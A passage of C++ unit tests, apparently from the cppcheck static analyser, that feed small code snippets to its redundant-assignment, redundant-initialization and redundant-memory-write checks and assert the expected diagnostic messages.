ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n 